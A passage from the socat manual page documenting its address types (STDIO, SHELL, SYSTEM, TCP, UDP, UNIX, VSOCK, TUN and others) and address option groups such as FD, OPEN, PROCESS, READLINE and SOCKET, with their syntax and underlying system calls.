Useful options: sourceport, pf, retry
See also: SOCKS5-LISTEN, SOCKS4, SOCKS4A, PROXY, TCP

SOCKS5-LISTEN:<socks-server>:<socks-port>:<listen-host>:<listen-port>
Connects to <socks-server> [IP address] using socks version 5 protocol over TCP and makes it listen for incoming connections on <listen-port> [TCP service], binding to <-listen-host> [IPv4 address] Currently not authentication mechanism is provided. This address type is experimental. Option groups: FD, SOCKET, IP4, IP6, TCP, CHILD, RETRY
Useful options: sourceport, pf, retry
See also: SOCKS5-CONNECT,

STDERR
Uses file descriptor 2.
This is a write-only address, see options -u and -U, and dual addresses.
Option groups: FD (TERMIOS,REG,SOCKET)
See also: FD

STDIN
Uses file descriptor 0.
This is a read-only address, see options -u and -U, and dual addresses.
Option groups: FD (TERMIOS,REG,SOCKET)
Useful options: readbytes
See also: FD

STDIO
Uses file descriptor 0 for reading, and 1 for writing.
Option groups: FD (TERMIOS,REG,SOCKET)
Useful options: readbytes
See also: FD

STDOUT
Uses file descriptor 1.
This is a write-only address, see options -u and -U, and dual addresses.
Option groups: FD (TERMIOS,REG,SOCKET)
See also: FD

SHELL:<shell-command>
Forks a sub process that establishes communication with its parent process and invokes the specified program with the configured shell ($SHELL). Note that <shell-command> [string] must not contain ’,’ or “!!”, and that shell meta characters may have to be protected. After successful program start, socatwrites data to stdin of the process and reads from its stdout.
Option groups: FD,SOCKET,EXEC,FORK,TERMIOS
Useful options: path, fdin, fdout, chroot, su, su-d, nofork, socktype, pty, stderr, ctty, setsid, pipes, umask, sigint, sigquit
See also: EXEC, SYSTEM

SYSTEM:<shell-command>
Forks a sub process that establishes communication with its parent process and invokes the specified program with system() . Please note that <shell-command> [string] must not contain ’,’ or “!!”, and that shell meta characters may have to be protected. After successful program start, socatwrites data to stdin of the process and reads from its stdout.
Option groups: FD,SOCKET,EXEC,FORK,TERMIOS
Useful options: path, fdin, fdout, chroot, su, su-d, nofork, socktype, pty, stderr, ctty, setsid, pipes, umask, sigint, sigquit, netns
See also: EXEC, SHELL

TCP:<host>:<port>
Connects to <port> [TCP service] on <host> [IP address] using TCP/IP version 4 or 6 depending on address specification, name resolution, or option pf.
Option groups: FD,SOCKET,IP4,IP6,TCP,RETRY
Useful options: connect-timeout, retry, sourceport, netns, crnl, bind, pf, tos, mtudiscover, mss, nodelay, nonblock, readbytes
See also: TCP4, TCP6, TCP-LISTEN, UDP, SCTP-CONNECT, UNIX-CONNECT

TCP4:<host>:<port>
Like TCP, but only supports IPv4 protocol (example).
Option groups: FD,SOCKET,IP4,TCP,RETRY

TCP6:<host>:<port>
Like TCP, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,TCP,RETRY

TCP-LISTEN:<port>
Listens on <port> [TCP service] and accepts a TCP/IP connection. The IP version is 4 or the one specified with address option pf, socat option (-4, -6), or environment variable SOCAT_DEFAULT_LISTEN_IP. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,TCP,RETRY
Useful options: crnl, fork, bind, range, tcpwrap, pf, max-children, backlog, accept-timeout, mss, su, reuseaddr, retry, cool-write
See also: TCP4-LISTEN, TCP6-LISTEN, UDP-LISTEN, SCTP-LISTEN, UNIX-LISTEN, OPENSSL-LISTEN, TCP-CONNECT

TCP4-LISTEN:<port>
Like TCP-LISTEN, but only supports IPv4 protocol (example).
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,TCP,RETRY

TCP6-LISTEN:<port>
Like TCP-LISTEN, but only supports IPv6 protocol.
Additional useful option: ipv6only
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP6,TCP,RETRY

TUN[:<if-addr>/<bits>]
Creates a Linux TUN/TAP device and optionally assignes it the address and netmask given by the parameters. The resulting network interface is almost ready for use by other processes; socat serves its “wire side”. This address requires read and write access to the tunnel cloning device, usually /dev/net/tun , as well as permission to set some ioctl()s``. Option iff-up is required to immediately activate the interface!
Note: If you intend to transfer packets between two Socat “wire sides” you need a protocol that keeps packet boundaries, e.g.UDP; TCP might work with option nodelay.
Option groups: FD,NAMED,OPEN,TUN
Useful options: iff-up, tun-device, tun-name, tun-type, iff-no-pi, netns
See also: ip-recv

UDP:<host>:<port>
Connects to <port> [UDP service] on <host> [IP address] using UDP/IP version 4 or 6 depending on address specification, name resolution, or option pf.
Please note that, due to UDP protocol properties, no real connection is established; data has to be sent for `connecting’ to the server, and no end-of-file condition can be transported.
Option groups: FD,SOCKET,IP4,IP6
Useful options: ttl, tos, bind, sourceport, pf
See also: UDP4, UDP6, UDP-LISTEN, TCP, IP

UDP4:<host>:<port>
Like UDP, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4

UDP6:<host>:<port>
Like UDP, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6

UDP-DATAGRAM:<address>:<port>
Sends outgoing data to the specified address which may in particular be a broadcast or multicast address. Packets arriving on the local socket are checked for the correct remote port only when option sourceport is used (this is a change with Socat version 1.7.4.0) and if their source addresses match RANGE or TCPWRAP options. This address type can for example be used for implementing symmetric or asymmetric broadcast or multicast communications.
Option groups: FD,SOCKET,IP4,IP6,RANGE
Useful options: bind, range, tcpwrap, broadcast, ip-multicast-loop, ip-multicast-ttl, ip-multicast-if, ip-add-membership, ip-add-source-membership, ipv6-join-group, ipv6-join-source-group, ttl, tos, sourceport, pf
See also: UDP4-DATAGRAM, UDP6-DATAGRAM, UDP-SENDTO, UDP-RECVFROM, UDP-RECV, UDP-CONNECT, UDP-LISTEN, IP-DATAGRAM

UDP4-DATAGRAM:<address>:<port>
Like UDP-DATAGRAM, but only supports IPv4 protocol (example1, example2).
Option groups: FD,SOCKET,IP4, RANGE

UDP6-DATAGRAM:<address>:<port>
Like UDP-DATAGRAM, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,RANGE

UDP-LISTEN:<port>
Waits for a UDP/IP packet arriving on <port> [UDP service] and `connects’ back to sender. The accepted IP version is 4 or the one specified with option pf. Please note that, due to UDP protocol properties, no real connection is established; data has to arrive from the peer first, and no end-of-file condition can be transported. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6
Useful options: fork, bind, range, pf
See also: UDP, UDP4-LISTEN, UDP6-LISTEN, TCP-LISTEN

UDP4-LISTEN:<port>
Like UDP-LISTEN, but only support IPv4 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4

UDP6-LISTEN:<port>
Like UDP-LISTEN, but only support IPv6 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP6

UDP-SENDTO:<host>:<port>
Communicates with the specified peer socket, defined by <port> [UDP service] on <host> [IP address], using UDP/IP version 4 or 6 depending on address specification, name resolution, or option pf. It sends packets to and receives packets from that peer socket only. This address effectively implements a datagram client. It works well with socat UDP-RECVFROM and UDP-RECV address peers.
Option groups: FD,SOCKET,IP4,IP6
Useful options: ttl, tos, bind, sourceport, pf
See also: UDP4-SENDTO, UDP6-SENDTO, UDP-RECVFROM, UDP-RECV, UDP-CONNECT, UDP-LISTEN, IP-SENDTO

UDP4-SENDTO:<host>:<port>
Like UDP-SENDTO, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4

UDP6-SENDTO:<host>:<port>
Like UDP-SENDTO, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6

UDP-RECVFROM:<port>
Creates a UDP socket on <port> [UDP service] using UDP/IP version 4 or 6 depending on option pf. It receives one packet from an unspecified peer and may send one or more answer packets to that peer. This mode is particularly useful with fork option where each arriving packet - from arbitrary peers - is handled by its own sub process. This allows a behaviour similar to typical UDP based servers like ntpd or named. This address works well with socat UDP-SENDTO address peers.
Note: When the second address fails before entering the transfer loop the packet is dropped. Use option retry or forever on the second address to avoid data loss.
Option groups: FD,SOCKET,IP4,IP6,CHILD,RANGE
Useful options: fork, ttl, tos, bind, sourceport, pf
See also: UDP4-RECVFROM, UDP6-RECVFROM, UDP-SENDTO, UDP-RECV, UDP-CONNECT, UDP-LISTEN, IP-RECVFROM, UNIX-RECVFROM

UDP4-RECVFROM:<port>
Like UDP-RECVFROM, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4,CHILD,RANGE

UDP6-RECVFROM:<port>
Like UDP-RECVFROM, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,CHILD,RANGE

UDP-RECV:<port>
Creates a UDP socket on <port> [UDP service] using UDP/IP version 4 or 6 depending on option pf. It receives packets from multiple unspecified peers and merges the data. No replies are possible. It works well with, e.g., socat UDP-SENDTO address peers; it behaves similar to a syslog server.
This is a read-only address, see options -u and -U, and dual addresses.
Note: if you need the fork option, use UDP-RECVFROM in unidirectional mode (with option -u) instead.
Option groups: FD,SOCKET,IP4,IP6,RANGE
Useful options: pf, bind, sourceport, ttl, tos
See also: UDP4-RECV, UDP6-RECV, UDP-SENDTO, UDP-RECVFROM, UDP-CONNECT, UDP-LISTEN, IP-RECV, UNIX-RECV

UDP4-RECV:<port>
Like UDP-RECV, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4,RANGE

UDP6-RECV:<port>
Like UDP-RECV, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,RANGE

UDPLITE-CONNECT:<host>:<port>

UDPLITE4-CONNECT:<host>:<port>

UDPLITE6-CONNECT:<host>:<port>

UDPLITE-DATAGRAM:<address>:<port>

UDPLITE4-DATAGRAM:<address>:<port>

UDPLITE6-DATAGRAM:<address>:<port>

UDPLITE-LISTEN:<port>

UDPLITE4-LISTEN:<port>

UDPLITE6-LISTEN:<port>

UDPLITE-SENDTO:<host>:<port>

UDPLITE4-SENDTO:<host>:<port>

UDPLITE6-SENDTO:<host>:<port>

UDPLITE-RECVFROM:<port>

UDPLITE4-RECVFROM:<port>

UDPLITE6-RECVFROM:<port>

UDPLITE-RECV:<port>

UDPLITE4-RECV:<port>

UDPLITE6-RECV:<port>
The UDPLITE addresses are almost identical to the related UDP addresses but they use UDP-Lite protocol and have the additional UDPLITE option group.

UNIX-CONNECT:<filename>
Connects to <filename> assuming it is a UNIX domain socket. If <filename> does not exist, this is an error; if <filename> is not a UNIX domain socket, this is an error; if <filename> is a UNIX domain socket, but no process is listening, this is an error.
Option groups: FD,SOCKET,NAMED,RETRY,UNIX
) Useful options: bind
See also: UNIX-LISTEN, UNIX-SENDTO, TCP

UNIX-LISTEN:<filename>
Listens on <filename> using a UNIX domain stream socket and accepts a connection. If <filename> exists and is not a socket, this is an error. If <filename> exists and is a UNIX domain socket, binding to the address fails (use option unlink-early!). Note that opening this address usually blocks until a client connects. Beginning with socat version 1.4.3, the file system entry is removed when this address is closed (but see option unlink-close) (example).
Option groups: FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX
Useful options: fork, umask, mode, user, group, unlink-early
See also: UNIX-CONNECT, UNIX-RECVFROM, UNIX-RECV, TCP-LISTEN

UNIX-SENDTO:<filename>
Communicates with the specified peer socket, defined by [<filename>] assuming it is a UNIX domain datagram socket. It sends packets to and receives packets from that peer socket only. Please note that it might be necessary to bind the local socket to an address (e.g. /tmp/sock1``, which must not exist before). This address type works well with socat UNIX-RECVFROM and UNIX-RECV address peers.
Option groups: FD,SOCKET,NAMED,UNIX
Useful options: bind
See also: UNIX-RECVFROM, UNIX-RECV, UNIX-CONNECT, UDP-SENDTO, IP-SENDTO

UNIX-RECVFROM:<filename>
Creates a UNIX domain datagram socket [<filename>]. Receives one packet and may send one or more answer packets to that peer. This mode is particularly useful with fork option where each arriving packet - from arbitrary peers - is handled by its own sub process. This address works well with socat UNIX-SENDTO address peers.
Option groups: FD,SOCKET,NAMED,CHILD,UNIX
See the note about RECVFROM addresses.
Useful options: fork
umask
See also: UNIX-SENDTO, UNIX-RECV, UNIX-LISTEN, UDP-RECVFROM, IP-RECVFROM

UNIX-RECV:<filename>
Creates a UNIX domain datagram socket [<filename>]. Receives packets from multiple unspecified peers and merges the data. No replies are possible, this is a read-only address, see options -u and -U, and dual addresses. It can be, e.g., addressed by socat UNIX-SENDTO address peers. It behaves similar to a syslog server.
Option groups: FD,SOCKET,NAMED,UNIX
Useful options: umask
See also: UNIX-SENDTO, UNIX-RECVFROM, UNIX-LISTEN, UDP-RECV, IP-RECV

UNIX-CLIENT:<filename>
Communicates with the specified peer socket, defined by [<filename>] assuming it is a UNIX domain socket. It first tries to connect and, if that fails, assumes it is a datagram socket, thus supporting both types.
Option groups: FD,SOCKET,NAMED,UNIX
Useful options: bind
See also: UNIX-CONNECT, UNIX-SENDTO, GOPEN

VSOCK-CONNECT:<cid>:<port>
Establishes a VSOCK stream connection to the specified <cid> [VSOCK cid] and <port> [VSOCK port].
Option groups: FD,SOCKET,CHILD,RETRY
Useful options: bind, connect-timeout, retry, readbytes
See also: VSOCK-LISTEN,

VSOCK-LISTEN:<port>
Listens on <port> [VSOCK port] and accepts a VSOCK connection. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RETRY
Useful options: fork, bind, max-children, backlog, su, reuseaddr, retry
See also: VSOCK-CONNECT

ABSTRACT-CONNECT:<string>

ABSTRACT-LISTEN:<string>

ABSTRACT-SENDTO:<string>

ABSTRACT-RECVFROM:<string>

ABSTRACT-RECV:<string>

ABSTRACT-CLIENT:<string>
The ABSTRACT addresses are almost identical to the related UNIX addresses except that they do not address file system based sockets but an alternate UNIX domain address space. To achieve this the socket address strings are prefixed with “�” internally. This feature is available (only?) on Linux. Option groups are the same as with the related UNIX addresses, except that the ABSTRACT addresses are not member of the NAMED group.
Useful options: netns

ADDRESS OPTIONS

Address options can be applied to address specifications to influence the process of opening the addresses and the properties of the resulting data channels.

For technical reasons not every option can be applied to every address type; e.g., applying a socket option to a regular file will fail. To catch most useless combinations as early as in the open phase, the concept of option groups was introduced. Each option belongs to one or more option groups. Options can be used only with address types that support at least one of their option groups (but see option -g).

Address options have data types that their values must conform to. Every address option consists of just a keyword or a keyword followed by “=value”, where value must conform to the options type. Some address options manipulate parameters of system calls; e.g., option sync sets the O_SYNC flag with the open() call. Other options cause a system or library call; e.g., with option `ttl=value’ the setsockopt(fd, SOL_IP, IP_TTL, value, sizeof(int)) call is applied. Other options set internal socat variables that are used during data transfer; e.g., `crnl’ causes explicit character conversions. A few options have more complex implementations; e.g., su-d (substuser-delayed) inquires some user and group infos, stores them, and applies them later after a possible chroot() call.

If multiple options are given to an address, their sequence in the address specification has (almost) no effect on the sequence of their execution/application. Instead, socat has built in an option phase model that tries to bring the options in a useful order. Some options exist in different forms (e.g., unlink, unlink-early, unlink-late) to control the time of their execution.

If the same option is specified more than once within one address specification, with equal or different values, the effect depends on the kind of option. Options resulting in function calls like setsockopt() cause multiple invocations. With options that set parameters for a required call like open() or set internal flags, the value of the last option occurrence is effective.

The existence or semantics of many options are system dependent. Socat usually does NOT try to emulate missing libc or kernel features, it just provides an interface to the underlying system. So, if an operating system lacks a feature, the related option is simply not available on this platform.

The following paragraphs introduce just the more common address options. For a more comprehensive reference and to find information about canonical option names, alias names, option phases, and platforms see file xio.help.

FD option group

This option group contains options that are applied to a UN*X style file descriptor, no matter how it was generated. Because all current socat address types are file descriptor based, these options may be applied to any address.
Note: Some of these options are also member of another option group, that provides another, non-fd based mechanism. For these options, it depends on the actual address type and its option groups which mechanism is used. The second, non-fd based mechanism is prioritized.

cloexec[=<bool>]
Sets the FD_CLOEXEC flag with the fcntl() system call to value <bool>. If set, the file descriptor is closed on exec() family function calls. Socat internally handles this flag for the fds it controls, so in most cases there will be no need to apply this option.

setlk[=<bool>]
Tries to set a discretionary write lock to the whole file using the fcntl(fd, F_SETLK, …) system call. If the file is already locked, this call results in an error. On Linux, when the file permissions for group are “S” (g-x,g+s), and the file system is locally mounted with the “mand” option, the lock is mandatory, i.e. prevents other processes from opening the file.

setlkw[=<bool>]
Tries to set a discretionary waiting write lock to the whole file using the fcntl(fd, F_SETLKW, ...) system call. If the file is already locked, this call blocks. See option setlk for information about making this lock mandatory.

setlk-rd[=<bool>]
Tries to set a discretionary read lock to the whole file using the fcntl(fd, F_SETLK, …) system call. If the file is already write locked, this call results in an error. See option setlk for information about making this lock mandatory.

setlkw-rd[=<bool>]
Tries to set a discretionary waiting read lock to the whole file using the fcntl(fd, F_SETLKW, ...) system call. If the file is already write locked, this call blocks. See option setlk for information about making this lock mandatory.

flock-ex[=<bool>]
Tries to set a blocking exclusive advisory lock to the file using the flock(fd, LOCK_EX) system call. Socat hangs in this call if the file is locked by another process.

flock-ex-nb[=<bool>]
Tries to set a nonblocking exclusive advisory lock to the file using the flock(fd, LOCK_EX|LOCK_NB) system call. If the file is already locked, this option results in an error.

flock-sh[=<bool>]
Tries to set a blocking shared advisory lock to the file using the flock(fd, LOCK_SH) system call. Socat hangs in this call if the file is locked by another process.

flock-sh-nb[=<bool>]
Tries to set a nonblocking shared advisory lock to the file using the flock(fd, LOCK_SH|LOCK_NB) system call. If the file is already locked, this option results in an error.

lock[=<bool>]
Sets a blocking lock on the file. Uses the setlk or flock mechanism depending on availability on the particular platform. If both are available, the POSIX variant (setlkw) is used.

user=<user>
Sets the <user> (owner) of the stream. If the address is member of the NAMED option group, socatuses the chown() system call after opening the file or binding to the UNIX domain socket (race condition!). Without filesystem entry, socatsets the user of the stream using the fchown() system call. These calls might require root privilege.

user-late=<user>
Sets the owner of the fd to <user> with the fchown() system call after opening or connecting the channel. This is useful only on file system entries.

group=<group>
Sets the <group> of the stream. If the address is member of the NAMED option group, socatuses the chown() system call after opening the file or binding to the UNIX domain socket (race condition!). Without filesystem entry, socatsets the group of the stream with the fchown() system call. These calls might require group membership or root privilege.

group-late=<group>
Sets the group of the fd to <group> with the fchown() system call after opening or connecting the channel. This is useful only on file system entries.

mode=<mode>
Sets the <mode> [mode_t] (permissions) of the stream. If the address is member of the NAMED option group and uses the open() or creat() call, the mode is applied with these. If the address is member of the NAMED option group without using these system calls, socatuses the chmod() system call after opening the filesystem entry or binding to the UNIX domain socket (race condition!). Otherwise, socat sets the mode of the stream using fchmod() . These calls might require ownership or root privilege.

perm-late=<mode>
Sets the permissions of the fd to value <mode> [mode_t] using the fchmod() system call after opening or connecting the channel. This is useful only on file system entries.

append[=<bool>]
Always writes data to the actual end of file. If the address is member of the OPEN option group, socatuses the O_APPEND flag with the open() system call (example). Otherwise, socatapplies the fcntl(fd, F_SETFL, O_APPEND) call.

nonblock[=<bool>]
Tries to open or use file in nonblocking mode. Its only effects are that the connect() call of TCP addresses does not block, and that opening a named pipe for reading does not block. If the address is member of the OPEN option group, socatuses the O_NONBLOCK flag with the open() system call. Otherwise, socatapplies the fcntl(fd, F_SETFL, O_NONBLOCK) call.

binary[=<bool>]
Opens the file in binary mode to avoid implicit line terminator conversions (Cygwin).

text[=<bool>]
Opens the file in text mode to force implicit line terminator conversions (Cygwin).

noinherit[=<bool>]
Does not keep this file open in a spawned process (Cygwin).

cool-write[=<bool>]
Takes it easy when write fails with EPIPE or ECONNRESET and logs the message with noticelevel instead oferror. This prevents the log file from being filled with useless error messages when socat is used as a high volume server or proxy where clients often abort the connection. Use this option only with option fork because otherwise it might cause socat to exit with code 0 even on failure.
This option is deprecated, consider using option children-shutup instead.

end-close[=<bool>]
Changes the (address dependent) method of ending a connection to just close the file descriptors. This is useful when the connection is to be reused by or shared with other processes (example).
Normally, socket connections will be ended with shutdown(2)`` which terminates the socket even if it is shared by multiple processes. close(2)`` "unlinks" the socket from the process but keeps it active as long as there are still links from other processes.
Similarly, when an address of type EXEC or SYSTEM is ended, socat usually will explicitly kill the sub process. With this option, it will just close the file descriptors.

shut-none[=<bool>]
Changes the (address dependent) method of shutting down the write part of a connection to not do anything.

shut-down[=<bool>]
Changes the (address dependent) method of shutting down the write part of a connection to shutdown(fd, SHUT_WR). Is only useful with sockets.

shut-close[=<bool>]
Changes the (address dependent) method of shutting down the write part of a connection to close(fd).

shut-null[=<bool>]
When one address indicates EOF, socat will send a zero sized packet to the write channel of the other address to transfer the EOF condition. This is useful with UDP and other datagram protocols. Has been tested against netcat and socat with option null-eof.

null-eof[=<bool>]
Normally socat will ignore empty (zero size payload) packets arriving on datagram sockets, so it survives port scans. With this option socat interprets empty datagram packets as EOF indicator (see shut-null).

ioctl-void=<request>
Calls ioctl()`` with the request value as second argument and NULL as third argument. This option allows utilizing ioctls that are not explicitly implemented in socat.

ioctl-int=<request>:<value>
Calls ioctl()`` with the request value as second argument and the integer value as third argument.

ioctl-intp=<request>:<value>
Calls ioctl()`` with the request value as second argument and a pointer to the integer value as third argument.

ioctl-bin=<request>:<value>
Calls ioctl()`` with the request value as second argument and a pointer to the given data value as third argument. This data must be specified in <dalan> form.

ioctl-string=<request>:<value>
Calls ioctl()`` with the request value as second argument and a pointer to the given string as third argument. <dalan> form.

NAMED option group

These options work on file system entries.
Please note that, with UNIX domain client addresses, this means the bind entry, not the target/peer entry.
See also options user, group, and mode.

user-early=<user>
Changes the <user> (owner) of the file system entry before accessing it, using the chown() system call. This call might require root privilege.

group-early=<group>
Changes the <group> of the file system entry before accessing it, using the chown() system call. This call might require group membership or root privilege.

perm-early=<mode>
Changes the <mode> [mode_t] of the file system entry before accessing it, using the chmod() system call. This call might require ownership or root privilege.

unlink-early[=<bool>]
Unlinks (removes) the file before opening it and even before applying user-early etc.

unlink[=<bool>]
Unlinks (removes) the file before accessing it, but after user-early etc.

unlink-late[=<bool>]
Unlinks (removes) the file after opening it to make it inaccessible for other processes after a short race condition.

unlink-close[=<bool>]
Controls removal of the addresses file system entry when closing the address. For named pipes, UNIX domain sockets, and the symbolic links of pty addresses, the default is remove (1); for created files, opened files, and generic opened files the default is keep (0). Setting this option to 1 removes the entry, 0 keeps it. No value means 1.

OPEN option group

The OPEN group options allow setting flags with the open() system call. E.g., option `creat’ sets the O_CREAT flag. When the used address does not use open() (e.g.STDIO), the fcntl(..., F_SETFL, ...) call is used instead.
See also options append and nonblock.

creat[=<bool>]
Creates the file if it does not exist (example).

dsync[=<bool>]
Blocks write() calls until metainfo is physically written to media.

excl[=<bool>]
With option creat, if file exists this is an error.

largefile[=<bool>]
On 32 bit systems, allows a file larger than 2^31 bytes.

noatime[=<bool>]
Sets the O_NOATIME options, so reads do not change the access timestamp.

noctty[=<bool>]
Does not make this file the controlling terminal.

nofollow[=<bool>]
Does not follow symbolic links.

nshare[=<bool>]
Does not allow sharing this file with other processes.

rshare[=<bool>]
Does not allow other processes to open this file for writing.

rsync[=<bool>]
Blocks write() until metainfo is physically written to media.

sync[=<bool>]
Blocks write() until data is physically written to media.

rdonly[=<bool>]
Opens the file for reading only.

wronly[=<bool>]
Opens the file for writing only.

trunc[=<bool>]
Truncates the file to size 0 during opening it.

REG and BLK option group

These options are usually applied to a UN*X file descriptor, but their semantics make sense only on a file supporting random access.

seek=<offset>
Applies the lseek(fd, <offset>, SEEK_SET) (or lseek64 ) system call, thus positioning the file pointer absolutely to <offset> [off_t or off64_t]. Please note that a missing value defaults to 1, not 0.

seek-cur=<offset>
Applies the lseek(fd, <offset>, SEEK_CUR) (or lseek64 ) system call, thus positioning the file pointer <offset> [off_t or off64_t] bytes relatively to its current position (which is usually 0). Please note that a missing value defaults to 1, not 0.

seek-end=<offset>
Applies the lseek(fd, <offset>, SEEK_END) (or lseek64 ) system call, thus positioning the file pointer <offset> [off_t or off64_t] bytes relatively to the files current end. Please note that a missing value defaults to 1, not 0.

ftruncate=<offset>
Applies the ftruncate(fd, <offset>) (or ftruncate64 if available) system call, thus truncating the file at the position <offset> [off_t or off64_t]. Please note that a missing value defaults to 1, not 0.

secrm[=<bool>]

unrm[=<bool>]

compr[=<bool>]

fs-sync[=<bool>]

immutable[=<bool>]

fs-append[=<bool>]

nodump[=<bool>]

fs-noatime[=<bool>]

journal-data[=<bool>]

notail[=<bool>]

dirsync[=<bool>]
These options change non standard file attributes on operating systems and file systems that support these features, like Linux with ext2fs and successors, xfs, or reiserfs. See man 1 chattr for information on these options. Please note that there might be a race condition between creating the file and applying these options.

PIPE options

These options may be applied to pipes (fifos).

f-setpipe-sz=<int>

setpipe=<int>
Set the number of bytes a pipe can buffer. Where more bytes are written the writing process might block. When more bytes are written in a single write()`` the writing process blocks and might never recover.

General address options

These options may be applied to all address types. They change some process properties that are restored after opening the address.

chdir=<filename>

cd=<filename>
Changes the working directory. After opening the address the master process changes back to the original working directory. Sub processes inherit the temporary setting.

umask=<mode>
Sets the umask of the process to <mode> [mode_t] before opening the address. Useful when file system entries are created or a shell or program is invoked. Usually the value is specified as octal number.
The processes umask`` value is inherited by child processes. Note: umask is an inverted value: creating a file with umask=0026 results in permissions 0640.

PROCESS option group

Options of this group change the process properties instead of just affecting one data channel. For EXEC and SYSTEM addresses and for LISTEN and CONNECT type addresses with option fork, these options apply to the child processes instead of the main socat process.

chroot=<directory>
Performs a chroot() operation to <directory> after processing the address (example). This call might require root privilege.

chroot-early=<directory>
Performs a chroot() operation to <directory> before opening the address. This call might require root privilege.

setgid=<group>
Changes the primary <group> of the process after processing the address. This call might require root privilege. Please note that this option does not drop other group related privileges.

setgid-early=<group>
Like setgit but is performed before opening the address.

setuid=<user>
Changes the <user> (owner) of the process after processing the address. This call might require root privilege. Please note that this option does not drop group related privileges. Check if option su better fits your needs.

setuid-early=<user>
Like setuid but is performed before opening the address.

su=<user>
Changes the <user> (owner) and groups of the process after processing the address (example). This call might require root privilege.

su-d=<user>
Short name for substuser-delayed``. Changes the <user> (owner) and groups of the process after processing the address (example). The user and his groups are retrieved before a possible chroot() . This call might require root privilege.

setpgid=<pid_t>
Makes the process a member of the specified process group <pid_t>. If no value is given, or if the value is 0 or 1, the process becomes leader of a new process group.

setsid
Makes the process the leader of a new session (example).

netns=<net-namespace-name>
Before opening the address it tries to switch to the named network namespace. After opening the address it switches back to the previous namespace. (Example with TCP forwarder, example with virtual network connection.
Only on Linux; requires root; use option --experimental``.

READLINE option group

Due to licensing restrictions the readline feature is disabled in Debian (see BUGS).
These options apply to the readline address type.

history=<filename>
Reads and writes history from/to <filename> (example).

noprompt
Since version 1.4.0, socat per default tries to determine a prompt - that is then passed to the readline call - by remembering the last incomplete line of the output. With this option, socat does not pass a prompt to readline, so it begins line editing in the first column of the terminal.

noecho=<pattern>
Specifies a regular pattern for a prompt that prevents the following input line from being displayed on the screen and from being added to the history. The prompt is defined as the text that was output to the readline address after the lastest newline character and before an input character was typed. The pattern is a regular expression, e.g. “^[Pp]assword:.*$” or “([Uu]ser:|[Pp]assword:)”. See regex(7) for details. (example)

prompt=<string>
Passes the string as prompt to the readline function. readline prints this prompt when stepping through the history. If this string matches a constant prompt issued by an interactive program on the other socat address, consistent look and feel can be achieved.

APPLICATION option group

This group contains options that work at data level. Note that these options only apply to the “raw” data transferred by socat, but not to protocol data used by addresses like PROXY.

cr
Converts the default line termination character NL (’ ’, 0x0a) to/from CR (’ ’, 0x0d) when writing/reading on this channel.

crnl
Converts the default line termination character NL (’ ’, 0x0a) to/from CRNL (” “, 0x0d0a) when writing/reading on this channel (example). Note: socat simply strips all CR characters.

ignoreeof
When EOF occurs on this channel, socat ignores it and tries to read more data (like “tail -f”) (example).

readbytes=<bytes>
socat reads only so many bytes from this address (the address provides only so many bytes for transfer and pretends to be at EOF afterwards). Must be greater than 0.

lockfile=<filename>
If lockfile exists, exits with error. If lockfile does not exist, creates it and continues, unlinks lockfile on exit.

waitlock=<filename>
If lockfile exists, waits until it disappears. When lockfile does not exist, creates it and continues, unlinks lockfile on exit.

escape=<int>
Specifies the numeric code of a character that triggers EOF on the input stream. It is useful with a terminal in raw mode (example).

SOCKET option group

These options are intended for all kinds of sockets, e.g. IP or UNIX domain. Most are applied with a setsockopt() call.

bind=<sockname>
Binds the socket to the given socket address using the bind() system call. The form of <sockname> is socket domain dependent: IP4 and IP6 allow the form [hostname|hostaddress][:(service|port)] (example), VSOCK allows the form [cid][:(port)].
See also: unix-bind-tempname

connect-timeout=<seconds>
Abort the connection attempt after <seconds> [timeval] with error status.

so-bindtodevice=<interface>
Binds the socket to the given <interface>. This option might require root privilege.

broadcast
For datagram sockets, allows sending to broadcast addresses and receiving packets addressed to broadcast addresses.

debug
Enables socket debugging.

dontroute
Only communicates with directly connected peers, does not use routers.

keepalive
Enables sending keepalives on the socket.

linger=<seconds>
Blocks shutdown() or close() until data transfers have finished or the given timeout [int] expired.

oobinline
Places out-of-band data in the input data stream.

priority=<priority>
Sets the protocol defined <priority> [<int>] for outgoing packets.

rcvbuf=<bytes>
Sets the size of the receive buffer after the socket() call to <bytes> [int]. With TCP sockets, this value corresponds to the socket’s maximal window size.

rcvbuf-late=<bytes>
Sets the size of the receive buffer when the socket is already connected to <bytes> [int]. With TCP sockets, this value corresponds to the socket’s maximal window size.

so-rcvtimeo=<time>, rcvtimeo=<time>
Specifies the time [int] until recv() , read() etc. functions timeout when no data is received. Note that in the transfer phase socatonly calls these functions when select() has reported that data is available. However this option is useful with DTLS addresses to timeout during connection negotiation.

so-sndtimeo=<time>, sndtimeo=<time>
Like so-recvtimeo, but for send . Not usecase known.

rcvlowat=<bytes>
Specifies the minimum number of received bytes [int] until the socket layer will pass the buffered data to socat.

reuseaddr[=[0|1]]
Allows other sockets to bind to an address even if parts of it (e.g. the local port) are already in use by socat.
With version 1.8.0, this socket option is set automatically for TCP LISTEN addresses. If you prefer the system default (no related setsockopt(...SO_REUSEADDR...)`` call at all), use form ``reuseaddr=``.
(example).

sndbuf=<bytes>
Sets the size of the send buffer after the socket() call to <bytes> [int].

sndbuf-late=<bytes>
Sets the size of the send buffer when the socket is connected to <bytes> [int].

sndlowat=<bytes>
Specifies the minimum number of bytes in the send buffer until the socket layer will send the data to <bytes> [int].

pf=<string>
